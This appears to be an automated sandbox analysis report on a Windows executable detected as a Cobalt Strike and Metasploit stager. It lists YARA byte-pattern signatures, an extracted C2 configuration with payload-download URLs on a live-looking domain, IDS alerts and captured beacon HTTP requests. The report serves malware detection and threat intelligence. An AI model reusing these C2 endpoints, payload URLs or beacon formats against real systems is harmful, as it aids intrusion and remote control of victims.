Edit tour

Windows Analysis Report
zrNcqxZRSM.exe

Overview

General Information

Sample name:	zrNcqxZRSM.exe renamed because original name is a hash value
Original sample name:	2698d20741e70dd169a307778685c083.exe
Analysis ID:	1587584
MD5:	2698d20741e70dd169a307778685c083
SHA1:	422a5dcf9e4a52d35d7de830879f3d9417fed263
SHA256:	103398cd38586819bdb93a1d4a95ead155becc718c2ba96764598eafb073d79b
Tags:	exeuser-abuse_ch
Infos:

Detection

CobaltStrike, Metasploit

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected CobaltStrike

Yara detected Metasploit Payload

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to registers a callback to get notified when the system is suspended or resumed (often done by Miners)

Performs DNS queries to domains with low reputation

Potentially malicious time measurement code found

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Sample execution stops while process was sleeping (likely an evasion)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

zrNcqxZRSM.exe (PID: 1424 cmdline: "C:\Users\user\Desktop\zrNcqxZRSM.exe" MD5: 2698D20741E70DD169A307778685C083)

conhost.exe (PID: 7048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Cobalt Strike, CobaltStrike	Cobalt Strike is a paid penetration testing product that allows an attacker to deploy an agent named 'Beacon' on the victim machine. Beacon includes a wealth of functionality to the attacker, including, but not limited to command execution, key logging, file transfer, SOCKS proxying, privilege escalation, mimikatz, port scanning and lateral movement. Beacon is in-memory/file-less, in that it consists of stageless or multi-stage shellcode that once loaded by exploiting a vulnerability or executing a shellcode loader, will reflectively load itself into the memory of a process without touching the disk. It supports C2 and staging over HTTP, HTTPS, DNS, SMB named pipes as well as forward and reverse TCP; Beacons can be daisy-chained. Cobalt Strike comes with a toolkit for developing shellcode loaders, called Artifact Kit.The Beacon implant has become popular amongst targeted attackers and criminal users as it is well written, stable, and highly customizable.	APT 29 APT32 APT41 AQUATIC PANDA Anunak Cobalt Codoso CopyKittens DarkHydrus Earth Baxia FIN6 FIN7 Leviathan Mustang Panda Shell Crew Stone Panda TianWu UNC1878 UNC2452 Winnti Umbrella	http://blog.morphisec.com/new-global-attack-on-point-of-sale-systems http://blog.nsfocus.net/murenshark http://stillu.cc/assets/slides/2023-08-Unmasking%20CamoFei.pdf http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa http://www.secureworks.com/research/threat-profiles/gold-drake	https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike

Malware Configuration

Threatname: CobaltStrike

{"C2Server": "http://s.xiaojingjingaihuifeng.xyz:443/wqerqwersdgfx64.jpg", "User Agent": "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1\r\n"}

Threatname: Metasploit

{"Headers": "Host: cs.xiaojingjingaihuifeng.xyz\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1\r\n", "Type": "Metasploit Download", "URL": "http://cs.xiaojingjingaihuifeng.xyz/wqerqwersdgfx64.jpg"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.3407668422.000000C0000A8000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x211:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000002.3407668422.000000C0000A8000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x27d:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000002.3408927200.000001A2650C0000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000000.00000002.3408927200.000001A2650C0000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000002.3408927200.000001A2650C0000.00000020.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x11:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000002.3408927200.000001A2650C0000.00000020.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x7d:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000002.3407668422.000000C0000B8000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000000.00000002.3407668422.000000C0000B8000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000002.3407668422.000000C0000B8000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x11:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000002.3407668422.000000C0000B8000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x7d:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000002.3407668422.000000C0000B4000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x11:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x2b947:$a39: %s as %s\%s: %d 0x3ab09:$a41: beacon.x64.dll 0x2cb47:$a46: %s (admin) 0x2baa7:$a48: %s%s: %s 0x2b973:$a50: %02d/%02d/%02d %02d:%02d:%02d 0x2b99f:$a50: %02d/%02d/%02d %02d:%02d:%02d 0x2cb90:$a51: Content-Length: %d
00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_663fc95d	Identifies CobaltStrike via unidentified function code	unknown	0x184f7:$a: 48 89 5C 24 08 57 48 83 EC 20 48 8B 59 10 48 8B F9 48 8B 49 08 FF 17 33 D2 41 B8 00 80 00 00
00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_b54b94ac	Rule for beacon sleep obfuscation routine	unknown	0xff86:$a_x64: 4C 8B 53 08 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 85 C9 75 05 45 85 DB 74 33 45 3B CB 73 E6 49 8B F9 4C 8B 03
00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x161a9:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75 0x1743a:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75
00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	unknown	0x1706a:$s0: 83 C0 02 48 8B 7C 24 20 48 8B F0 B9 40 00 00 00 F3 A4 44 0F B6 84 24 A0 00 00 00 BA 40 00 00 00 48 8B 4C 24 20 E8 0F F3 FF FF 48 8B 54 24 20 48 8B 8C 24 98 00 00 00 48 8B 84 24 80 00 00 00 FF ... 0x1642d:$s1: 0F B7 00 3D 4D 5A 00 00 75 45 48 8B 44 24 20 48 63 40 3C 48 89 44 24 28 48 83 7C 24 28 40 72 2F 48 81 7C 24 28 00 04 00 00 73 24 48 8B 44 24 20 48 8B 4C 24 28 48 03 C8 48 8B C1 48 89 44 24 28 ...
00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x2c700:$a39: %s as %s\%s: %d 0x3b8c2:$a41: beacon.x64.dll 0x2d900:$a46: %s (admin) 0x2c860:$a48: %s%s: %s 0x2c72c:$a50: %02d/%02d/%02d %02d:%02d:%02d 0x2c758:$a50: %02d/%02d/%02d %02d:%02d:%02d 0x2d949:$a51: Content-Length: %d
00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_663fc95d	Identifies CobaltStrike via unidentified function code	unknown	0x190b0:$a: 48 89 5C 24 08 57 48 83 EC 20 48 8B 59 10 48 8B F9 48 8B 49 08 FF 17 33 D2 41 B8 00 80 00 00
00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_b54b94ac	Rule for beacon sleep obfuscation routine	unknown	0x10b3f:$a_x64: 4C 8B 53 08 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 85 C9 75 05 45 85 DB 74 33 45 3B CB 73 E6 49 8B F9 4C 8B 03
00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x16d62:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75 0x17ff3:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75
00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	unknown	0x17c23:$s0: 83 C0 02 48 8B 7C 24 20 48 8B F0 B9 40 00 00 00 F3 A4 44 0F B6 84 24 A0 00 00 00 BA 40 00 00 00 48 8B 4C 24 20 E8 0F F3 FF FF 48 8B 54 24 20 48 8B 8C 24 98 00 00 00 48 8B 84 24 80 00 00 00 FF ... 0x16fe6:$s1: 0F B7 00 3D 4D 5A 00 00 75 45 48 8B 44 24 20 48 63 40 3C 48 89 44 24 28 48 83 7C 24 28 40 72 2F 48 81 7C 24 28 00 04 00 00 73 24 48 8B 44 24 20 48 8B 4C 24 28 48 03 C8 48 8B C1 48 89 44 24 28 ...
00000000.00000002.3407668422.000000C0000A0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x91:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000002.3407668422.000000C0000B6000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000000.00000002.3407668422.000000C0000B6000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000002.3407668422.000000C0000B6000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x11:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000002.3407668422.000000C0000B6000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x7d:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000002.3407668422.000000C000082000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x111:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000002.3407668422.000000C000082000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x17d:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
Process Memory Space: zrNcqxZRSM.exe PID: 1424	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
Process Memory Space: zrNcqxZRSM.exe PID: 1424	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
Process Memory Space: zrNcqxZRSM.exe PID: 1424	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x1e83c:$a39: %s as %s\%s: %d 0xa9dcb:$a39: %s as %s\%s: %d 0x22339:$a41: beacon.x64.dll 0xad8c8:$a41: beacon.x64.dll 0x1eb3c:$a46: %s (admin) 0xaa0cb:$a46: %s (admin) 0x1e94f:$a48: %s%s: %s 0xa9ede:$a48: %s%s: %s 0x1e856:$a50: %02d/%02d/%02d %02d:%02d:%02d 0x1e87f:$a50: %02d/%02d/%02d %02d:%02d:%02d 0x1e9d9:$a50: %02d/%02d/%02d %02d:%02d:%02d 0xa9de5:$a50: %02d/%02d/%02d %02d:%02d:%02d 0xa9e0e:$a50: %02d/%02d/%02d %02d:%02d:%02d 0xa9f68:$a50: %02d/%02d/%02d %02d:%02d:%02d 0x1eb80:$a51: Content-Length: %d 0xaa10f:$a51: Content-Length: %d
Click to see the 30 entries

Suricata Signatures

ET MALWARE Successful Cobalt Strike Shellcode Download (x64) M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T15:13:14.502672+0100	2035442	1	A Network Trojan was detected	188.114.96.3	443	192.168.2.6	49713	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpg01	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/wqerqwersdgfx64.jpg	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgSecurity	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgY	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgihuifeng	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgBH	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/r	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/0	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/h	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/4	Avira URL Cloud: Label: malware
Source: http://s.xiaojingjingaihuifeng.xyz:443/wqerqwersdgfx64.jpg	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/b	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpglSH	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/&	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgp	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/$	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgl	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/Z	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpg~1	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/wqerqwersdgfx64.jpg.	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgw1J	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgD	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgP0	Avira URL Cloud: Label: malware
Source: http://cs.xiaojingjingaihuifeng.xyz/wqerqwersdgfx64.jpg	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpg~	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/-4c6f-abc3-57d03ec4c7ad	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgity	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgase	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpglHH	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/dt	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgL1	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpga1X	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpg	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpg;	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/tes	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgiaojingjingaihuifeng.xyz	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/F	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgl=K	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgh1A	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpg?1	Avira URL Cloud: Label: malware
Source: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgpany	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.3408927200.000001A2650C0000.00000020.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: CobaltStrike {"C2Server": "http://s.xiaojingjingaihuifeng.xyz:443/wqerqwersdgfx64.jpg", "User Agent": "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1\r\n"}
Source: 00000000.00000002.3408927200.000001A2650C0000.00000020.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Metasploit {"Headers": "Host: cs.xiaojingjingaihuifeng.xyz\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1\r\n", "Type": "Metasploit Download", "URL": "http://cs.xiaojingjingaihuifeng.xyz/wqerqwersdgfx64.jpg"}

Multi AV Scanner detection for submitted file

Source: zrNcqxZRSM.exe	Virustotal: Detection: 62%			Perma Link
Source: zrNcqxZRSM.exe	ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Bitcoin Miner

Contains functionality to registers a callback to get notified when the system is suspended or resumed (often done by Miners)

Source: C:\Users\user\Desktop\zrNcqxZRSM.exe

Code function: 0_2_00C604C0 LoadLibraryExW,

0_2_00C604C0

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50104 version: TLS 1.2

Source: zrNcqxZRSM.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 4x nop then cmp rdx, rbx	0_2_00C3B840
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 4x nop then shr r10, 0Dh	0_2_00C59A80
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 4x nop then lock or byte ptr [rdx], dil	0_2_00C4D5C0
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 4x nop then shr r10, 0Dh	0_2_00C585E0
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 4x nop then cmp rdx, 40h	0_2_00C4CE79

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2035442 - Severity 1 - ET MALWARE Successful Cobalt Strike Shellcode Download (x64) M1 : 188.114.96.3:443 -> 192.168.2.6:49713

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://s.xiaojingjingaihuifeng.xyz:443/wqerqwersdgfx64.jpg
Source: Malware configuration extractor	URLs: http://cs.xiaojingjingaihuifeng.xyz/wqerqwersdgfx64.jpg

Performs DNS queries to domains with low reputation

Source:

DNS query: cs.xiaojingjingaihuifeng.xyz

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /wqerqwersdgfx64.jpg HTTP/1.1Host: cs.xiaojingjingaihuifeng.xyzUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sadfasdgdfhsddfguri.jpg HTTP/1.1Accept: /Host: cs.xiaojingjingaihuifeng.xyzCookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s=User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sadfasdgdfhsddfguri.jpg HTTP/1.1Accept: /Host: cs.xiaojingjingaihuifeng.xyzCookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s=User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sadfasdgdfhsddfguri.jpg HTTP/1.1Accept: /Host: cs.xiaojingjingaihuifeng.xyzCookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s=User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sadfasdgdfhsddfguri.jpg HTTP/1.1Accept: /Host: cs.xiaojingjingaihuifeng.xyzCookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s=User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sadfasdgdfhsddfguri.jpg HTTP/1.1Accept: /Host: cs.xiaojingjingaihuifeng.xyzCookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s=User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sadfasdgdfhsddfguri.jpg HTTP/1.1Accept: /Host: cs.xiaojingjingaihuifeng.xyzCookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s=User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sadfasdgdfhsddfguri.jpg HTTP/1.1Accept: /Host: cs.xiaojingjingaihuifeng.xyzCookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s=User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12Connection: Keep-AliveCache-Control: no-cache
